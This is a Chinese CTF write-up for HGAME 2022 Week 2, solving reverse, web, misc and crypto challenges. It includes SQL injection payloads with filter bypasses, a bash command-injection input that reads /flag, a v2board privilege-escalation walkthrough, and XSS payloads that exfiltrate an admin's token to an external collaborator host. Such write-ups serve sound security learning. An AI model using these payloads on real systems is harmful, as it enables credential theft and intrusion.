HGAME 2022 Week2 writeup by ripple

  1. 1. HGAME 2022 Week2 writeup by ripple
    1. 1.1. REVERSE
      1. 1.1.1. math
    2. 1.2. WEB
      1. 1.2.1. Git Leakage
      2. 1.2.2. v2board
      3. 1.2.3. Commodity
      4. 1.2.4. Designer
    3. 1.3. MISC
      1. 1.3.1. Tetris Master Revenge
      2. 1.3.2. Tetris Master
      3. 1.3.3. Sign In Pro Max
    4. 1.4. CRYPTO
      1. 1.4.1. Rabin
      2. 1.4.2. RSA 大冒险1

HGAME 2022 Week2 writeup by ripple

REVERSE

math

比较有意思的一道线性代数题(bushi

下载附件,放入IDA反汇编。

看到scanf,输入的变量我重命名了一下:

核心加密逻辑:

到这里一开始很奇怪,找不到savedreg和input之间的关系啊。

后来结合猜测与调试的验证,其实savedreg就是input

用IDA远程连接虚拟机进行调试,具体参考了IDA动态调试ELF-软件逆向

打断点后先随便输入了一下hgame{123123131312}

然后开始调试,找到savedreg的地址0x00007FFEA552F590,结合加密函数逻辑,减去0x170得到新地址:0x7ffea552f420

找到新地址的位置:0x7ffea552f420

发现正是我们input所在的位置!

所以大胆猜测savedreg就是input。

后面的判断是v11要等于v12。

看加密过程,很像(就是)矩阵乘法啊!照应标题。

下面简单推导,v12、input、v10均为五阶矩阵

v12 = input × v10

input =v12 × v10^(-1)

input就是我们的flag。

后面就是解密了,我是采用了一个在线算矩阵的网站:矩阵计算器

最后的结果是:

但显然存在精度的问题,所以用python代码进行了矫正,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
flag=[]
true_flag=""
flag.append(99841149563879870/960011053498845)
flag.append(872914402921897000/8474897115746563)
flag.append(269740084762122240/2780825616104341)
flag.append(38725573460717310/355280490465297)
flag.append(593638495818870800/5877608869493773)
flag.append(671587732613285800/5460062866774681)
flag.append(384548456626999800/3178086418404961)
flag.append(355945678861361150/7415534976278243)
flag.append(475060770107883500/4060348462460537)
flag.append(155373312724008960/1362923795824643)
flag.append(518705972343594500/5460062866774681)
flag.append(923763785616372700/8474897115746563)
flag.append(177972839430677500/2780825616104341)
flag.append(706500632468136000/6090522693690805)
flag.append(611271322427353100/5877608869493773)
flag.append(518705972343594400/5460062866774681)
flag.append(415269958671582200/8474897115746563)
flag.append(319794945852000260/2780825616104341)
flag.append(65325767601683970/687639658965091)
flag.append(605393713557856300/5877608869493773)
flag.append(530886112584861200/6720077374491915)
flag.append(355945678861355000/7415534976278243)
flag.append(278082561610434560/2780825616104341)
flag.append(888201226163243000/7105609809305939)
flag.append(2048/5877608869493773)
for i in flag:
true_flag+=chr(int(round(i,0)))
print(true_flag)

得到flag:hgame{y0ur_m@th_1s_gO0d}

WEB

Git Leakage

由题目不难猜出是一个git泄露的题

访问/.git发现确实有git泄露

使用GitHack-master

1
GitHack.py http://week-2.hgame.lwsec.cn:32003/.git/

得到一个Th1s_1s-flag文件。

16进制编译器打开得到flag:hgame{Don’t^put*Git-in_web_directory}

v2board

顺着搜索v2board我们可以发现v2board1.6.1版本存在提权漏洞。

这个漏洞还是比较新的,复现难度也不高,太恐怖啦!尤其是自己复现一遍之后,真切感受到了网络安全的重要啊。

复现思路参考网站:v2board越权漏洞复现

先注册一个普通用户的账号

然后登陆,登陆后使用F12可以查看到返回头里的authorization

记录下authorization的值,退出登录,打开burpsuite开启拦截。

输入账号密码登录,burpsuite拦截到请求头。

向请求头里加入authorization头发送

这一步的目的是让服务器将普通用户的Authorization头写入缓存中。

关闭拦截,成功登录。

最后只要带上这个Authorization头即可访问所有的管理员接口。

开启拦截,带上Authorization头访问/api/v1/admin/user/fetch后关闭拦截。

进入到/api/v1/admin/user/fetch即可找到admin的token:39d580e71705f6abac9a414def74c466

用hgame包裹即是flag:hgame{39d580e71705f6abac9a414def74c466}

Commodity

一开始是这样一个登录的界面。

题目的描述里面有提示:面板登陆用户名是user01,密码……忘了,反正是个比较好猜的密码,我记得它是8位数的,有字母也有数字

可见是一个8位弱密码的爆破。

这里可以在网上找一些字典来爆破,也可以直接试一些常见的8位弱密码。

我这里是查了一下然后试出来了,密码是admin123

登录后进入这样一个界面:

输入1~8可以查看对应的一些商品:

猜测是SQL注入。

使用burpsuite发现是用POST方法传参,参数名是search_id。

后面为了方便F12使用hackbar来进行POST传参。

首先判断后端闭合方式:

输入1%23返回hard disk 1

输入’1’%23返回hard disk 1

输入1’%23返回报错

输入1’)%23返回报错

判断后端闭合符为数字型。

后端有一些字符被过滤了,测试过程就不一一说明了,下面是我payload里采用绕过方法:

or and from where:双写绕过

database() select union :大写绕过

*空格:/1*/绕过

= : like绕过

有些既可以双写也可以大写绕过就不细说了。

采用的是联合注入:

第一步:判断查询结果有多少列

1/*1*/oorrder/*1*/by/*1*/3 :正常回显(order里包含了or,采用双写绕过)

1/*1*/oorrder/*1*/by/*1*/4 :错误回显

说明有三列。

第二步:显示数据库名

-1/*1*/Union/*1*/Select/*1*/1,Database(),3

第三步:显示se4rch数据库中的表名

-1/*1*/Union/*1*/Select/*1*/1,(Select/*1*/group_concat(table_name)/*1*/frfromom/*1*/infoorrmation_schema.tables/*1*/whwhereere/*1*/table_schema/*1*/like/*1*/‘se4rch’),3

第四步:显示5ecret15here数据表中的列名

-1/*1*/Union/*1*/Select/*1*/1,(Select/*1*/group_concat(column_name)/*1*/frfromom/*1*/infoorrmation_schema.columns/*1*/whwhereere/*1*/table_schema/*1*/like/*1*/‘se4rch’/*1*/anandd/*1*/table_name/*1*/like/*1*/‘5ecret15here’),3

第五步:显示5ecret15here数据表中的f14gggg1shere

-1/*1*/Union/*1*/Select/*1*/1,(Select/*1*/f14gggg1shere/*1*/frfromom/*1*/5ecret15here),3

flag:hgame{4_M4n_WH0_Kn0ws_We4k-P4ssW0rd_And_SQL!}

从零开始的SQL注入生活,折磨一天多终于出了!QAQ

Designer

下载附件是网站的源代码,查看

我们可以看到真正的flag被藏在admin用户的jwt里面,因此这道题目的就是窃取到admin用户的jwt。

打开网站随便输入一个用户名注册先看看有什么漏洞。

在不同输入框里输入后preview我们会发现在Box shadow一栏里存在XSS注入漏洞

如图,我们的输入被嵌在了style中。

再次查看源代码,发现过滤名单:

这里是直接把输入清空了,所以不能双写绕过,大小写试了试也不行,找了很多方法,最后采用的是unicode转码绕过。(在线转unicode网站

同时找到让前后闭合的方式 : 3px 3px #000;”/a> <a”

最后点preview,发现这样可以成功弹窗:

3px 3px #000;”/a><script>\u0061lert(“XSS-test”);</script><a”

再去源代码看看存jwt的字段是什么:

是叫token

localStorage被过滤,我们可以用unicode绕过:

3px 3px #000;”/a><script>\u0061lert(\u006cocalStorage.getItem(‘token’));</script><a”

点preview测试一下。

成功弹出了自己的token。

这里我们的token里面有一个假的flag。

接下来就是要想办法让admin在浏览我们的按钮时把自己的token发过来。

用到了Burpsuite的Burp Collaborator client。

由于fetch被过滤,转码了一下

一开始我用的payload是:

3px 3px #000;”/a><script>\u0066etch(‘https://4injdqamr55icfqpn5da88kutlzbn0.burpcollaborator.net',{method:'post',body:\u006cocalStorage.getItem('token')});\<a”

结果发现存在问题,就是自己preview的时候,能收到自己的token,但是点share时,admin发看来的头里没有带token。

下面是admin的返回,无token:

后来才知道是自己没看源码,我们要先知道admin在访问链接时做了什么,才能找到正确的方法。

在源代码中找到我们点share后发生的事:

可以看到admin是先访问了 http://127.0.0.1:9090/button/preview 这一个有我们恶意代码的页面,再登录,后面进行了一次点击。

而我们的注入在第一步渲染按钮页面时就已经生效,这时候admin还没登录,不带有token,自然返回里没有token咯。

由此,我们的一种思路是在admin点按钮时去执行恶意代码,正好可以添加一个”href”的属性。

最终payload:

3px 3px #000;”href=”javascript:\u0066etch(‘https://1moghnejv29fgcumr2h7c5orxi3arz.burpcollaborator.net',{method:'post',body:\u006cocalStorage.getItem('token')})"a="

preview测试时就是一点击就会返回。

然后share给admin点点。

成功返回admin的token

最后去在线网站解析一下:

得到真正的flag:hgame{b_c4re_ab0ut_prop3rt1ty_injEctiOn}

还有一种思路是csrf(客户端请求伪造),也值得一试。

MISC

Tetris Master Revenge

Tetris Master由于存在非预期解,修正后降了分数改为Tetris Master Revenge,所以这题的方法也可以兼容Tetris Master,在Tetris Master题解中展示非预期解。

根据提示:调小终端字体大小后用 ssh ctf@week-2.hgame.lwsec.cn -p 端口号 连接,密码为hgame

下载附件得到源码,查看源码后找到提示:

看来是要在这里输入一些东西让利用master执行我们想要的代码。

在paint_game_over()函数中找到关键:

if [[ “$master” -eq “y” ]] && [[ “$score” -gt 50000 ]]; then

elif [[ “$master” -ne “y” ]] && [[ “$score” -gt “$target” ]]; then

这是条件表达式,可以发现如果输入y后获得50000分理论也可取得flag,但并不推荐这样做。

条件表达式中由于使用了[[和gt,使其仍然能够加载表达式。

于是我们可以在询问Are you tetris master?[y/n]后输入:

x[$(cat /flag)]

Please input your target score:时随便输入一下。

然后快速输掉游戏就可以得到flag了!

flag:hgame{Bash_Game^Also*Can#Rce^reVenge!!!!}

Tetris Master

用Tetris Master Revenge的方法也能解,下面展示非预期:

在询问Are you tetris master?[y/n]时直接ctrl+C退出

发现ssh连接还未断开。

再cat flag就行了

flag:hgame{Bash_Game^Also*Can#Rce}

Sign In Pro Max

超级签到题

下载附件signin.txt:

1
2
3
4
5
Part1, is seems like baseXX: QVl5Y3BNQjE1ektibnU3SnN6M0tGaQ==
Part2, a hash function with 128bit digest size and 512bit block size: c629d83ff9804fb62202e90b0945a323
Part3, a hash function with 160bit digest size and 512bit block size: 99f3b3ada2b4675c518ff23cbd9539da05e2f1f8
Part4, the next generation hash function of part3 with 256bit block size and 64 rounds: 1838f8d5b547c012404e53a9d8c76c56399507a2b017058ec7f27428fda5e7db
Ufwy5 nx 0gh0jf61i21h, stb uzy fqq ymj ufwyx ytljymjw, its'y ktwljy ymj ktwrfy.

第一部分是base系列加密,用CyberChef点魔术棒解决:

2、3、4部分是md5的爆破,采用网站md5在线加密解密注册登录后查询(题目里这些值可以用这个免费查到):

附上其他的网站(一些值需付费)

Cmd5 - MD5 Online ,MD5 Decryption, MD5 Hash Decoder

md5解密 MD5在线解密 破解md5 (pmd5.com)

md5在线解密 在线加密 (ttmd5.com)

分别得到:f91c 4952 a3ed

最后那一串我们可以看到相同位置有个5存在,后面还有标点,猜测位一句加密过的话,位置不变的话想到凯撒密码。

采用在线网站,位移5位时成功得到明文:

Part5 is 0bc0ea61d21c, now put all the parts together, don’t forget the format.

至此5个部分全部得出,但组合时别忘记格式(uuid)

最终flag:hgame{f51d3a18-f91c-4952-a3ed-0bc0ea61d21c}

CRYPTO

Rabin

题目即是考点,Rabin密码体制是对e=2的RSA的一种修正。

题目给出了p、q、c,足以解密。

解密脚本参考自https://www.bilibili.com/read/cv13467317

脚本为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import libnum
import gmpy2

p=65428327184555679690730137432886407240184329534772421373193521144693375074983
q=98570810268705084987524975482323456006480531917292601799256241458681800554123
c=0x4e072f435cbffbd3520a283b3944ac988b98fb19e723d1bd02ad7e58d9f01b26d622edea5ee538b2f603d5bf785b0427de27ad5c76c656dbd9435d3a4a7cf556
n=p*q
inv_p = gmpy2.invert(p, q)
inv_q = gmpy2.invert(q, p)
mp = pow(c, (p + 1) // 4, p)
mq = pow(c, (q + 1) // 4, q)
a = (inv_p * p * mq + inv_q * q * mp) % n
b = n - int(a)
c = (inv_p * p * mq - inv_q * q * mp) % n
d = n - int(c)
#因为rabin 加密有四种结果,全部列出。
aa=[a,b,c,d]
for i in aa:
# print(i)
print(libnum.n2s(int(i)))

得到flag:hgame{That‘5_s0_3asy_to_s@lve_r@bin}

RSA 大冒险1

4个不同有漏洞RSA加密组合题

远程连接一下就可以得到密文和公钥

具体的对应可以在相应的py文件中查看

challege1是用了三个素数,先除掉一个r后得到p*q(也就是n)

我得到的n是180326030445057103882510226931211081193929158820681452896727282807017

已经比较小了,用在线网站直接分解(所用网站:分解素因数工具 - 整数分解最多为70位

写脚本decode1.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from gmpy2 import invert
from Crypto.Util.number import *

c = 0x240096b7f56bdbb9edf9af974c9c7644d03f2c7bc0571506e599fcc8c57e7c6232b347243fc133109e
nn = 178576184722741801717686323668363871157232668535871169547253050540473910756536548173809894332136913
r = 990296211157110473702991877289
n = nn // r
p = 247562682664518807752664914940973974541
q = 728405543615082989281007689037
e = 65537
phi = (p-1)*(q-1)
d = invert(e,phi)
m = pow(c,d,n)
print(long_to_bytes(m))

得到challenge1答案:m<n_But_also_m<p

challenge2在代码中我们可以发现每次加密后只换了q,p、e一直都不变。明文显然也不变。

那我们只需要得到两组n,求这两个n的最大公约数即为p,再求q就行了。

解密脚本decode2.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import gmpy2
import libnum
e = 65537

n0 = 152565543718334021801195699606763310261946146721086746925538472581261953855543959555565978627770092956075488682598513189685437191243276909534224625165367334434958301681355148478564729701659015537534219051767422647022148045778298186467940474529451231777930411879368015112385504736852930655214082742170869447319
c0 = 0xe1077c066b24d12acfe0f5ed1b25c00dd5631f749a75b7c7506eb62940f9c4a071212b55d0a437425dac118918cb35f0072c06dd5026367484149ffb1c932911d75ef7ba2601593835cf449f8308df272091b74a9d2ba60fb857398a7cf514e9057bb6694ded745cd07796280fc784f2e9299130e77696f2db08974821dcb9a

n1 = 109324149518512467178297013889864800493756475061081985724435355574820721455422881440459243392018178539878746737345734346126513233606743972464410880410078757974920811270590189828415108760637521102456310383327284921212179797991186198361098556075603098884011777397062763979575141575851516468356489864995715380447
c1 = 0x9c3e9a67fa5c5a7cdd2513971ba7d7e6e9b7dc94b983bdc54bf565372b87375cfdcf4af0eeda5ff1854536240c4c138e2b4c47e06da5b836c15bfb00fba3f250a913a3b4a20bed162a8b0911b2be2966559680dbcfe24f473fd42f77fd37887417f95ef9ceb8f00a2c3ef6998b3aa32fedd29bafbc95f510d2ff5592ef6c56b1

c = 0x2553bd52f014f6ee4d158fa519ff703f3a87859b3fb559a27451345c5e839bc0dc314ec1d2193e1f46bf2a418db8d8e8e384e553cc0b17ae582c20aac647542abb1df8645b87e2502ad0d0e213bb2d9a004bc9a2d8bf3d6cc5929562f329395985927e5be269e97a64c9d12e2b3dc455b3f39de004953eccea5aeb6c93e91c87
p = gmpy2.gcd(n0, n1)
q = n1 // p
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n1)
print(libnum.n2s(int(m)))

得到challenge2答案:make_all_modulus_independent

challenge3在代码中我们可以看见e = 3,指数e太小了,采用低加密指数攻击

这个脚本参考了网站

decode3.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#python3
## -*- coding: utf-8 -*-#
from gmpy2 import iroot
import libnum
e = 0x3
n = 85922916993379152943776382336993370638235699872090311710227374583900564448437943846348707119156652095091626888243581784342821582968435766532371063770383345152966385664590187636565881294387850237371948868066550282339916385669215401537143798977103657518930000838792808631268504692069432085649850971399275060443
c = 0xfec61958cefda3eb5f709faa0282bffaded0a323fe1ef370e05ed3744a2e53b55bdd43e9594427c35514505f26e4691ba86c6dcff6d29d69110b15b9f84b0d8eb9ea7c03aaf24fa957314b89febf46a615f81ec031b12fe725f91af9d269873a69748
k = 0
while 1:
res = iroot(c+k*n,e) #c+k*n 开3次方根 能开3次方即可
if(res[1] == True):
print(libnum.n2s(int(res[0]))) #转为字符串
break
k=k+1

得到challenge3答案:encrypt_exponent_should_be_bigger

challenge4代码中我们发现每次加密都只换了一个e,p、q、n均不变

考虑获得两组数据后共模攻击。

脚本参考了网站共模攻击部分

decode4.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import gmpy2
from Crypto.Util.number import long_to_bytes

e1 = 116243
e2 = 71741

n = 83486225284114057111737329248786370210668434389571571580590922505571212527635260272602429749557465160260073470006815812186773107320652252605362829709397631964309031992737449999781228660587747329492657524701020372820606253551851826790867032314656784861211512735104950646283884949811606222485343066279965119119

c1 = 0x1bf0437ad53b90a4d3a8d64cd09568f9fe29802586fa30995b7e45a264fa76f1c2058864cb47203e7db4740b9e39fee7e455562800d8bee8c7c0c3c4f2698258e2db8bc977092d1f09379350b5f1f13723cdd8c7f89dfe69cfa4d9106a624e1020bfd0946dfe26d136c6b4ae7bb3c7591a9ba2a332631dc86eaa8f18f170772
c2 = 0x2df2a7969f4470aa013390d01375d3ed661ea87ae7213718a22b82b38340f1a4aafe8cdb34bfff6dc1f35ff72c532d75bfc8d107a3f29c27cd725f5e91b596318d743e786d514dbb20b45bc02acf821711761dceef057decd714a81d712473304dc18426be48261122f94f4da3c2800923a4dab7991d3a3933b1bcbc470dbc07

_, s1, s2 = gmpy2.gcdext(e1, e2)
m = pow(c1, s1, n) * pow(c2, s2, n) % n
print(long_to_bytes(m))

得到challenge4答案:never_uese_same_modulus

最后在各个部分check,分数到达4后得到flag:

hgame{W0w_you^knowT^e_CoMm0n_&t$ack_@bout|RSA}

第二周折磨结束了,三天喘喘。收获很多,学到新知识了。QAQ

路漫漫~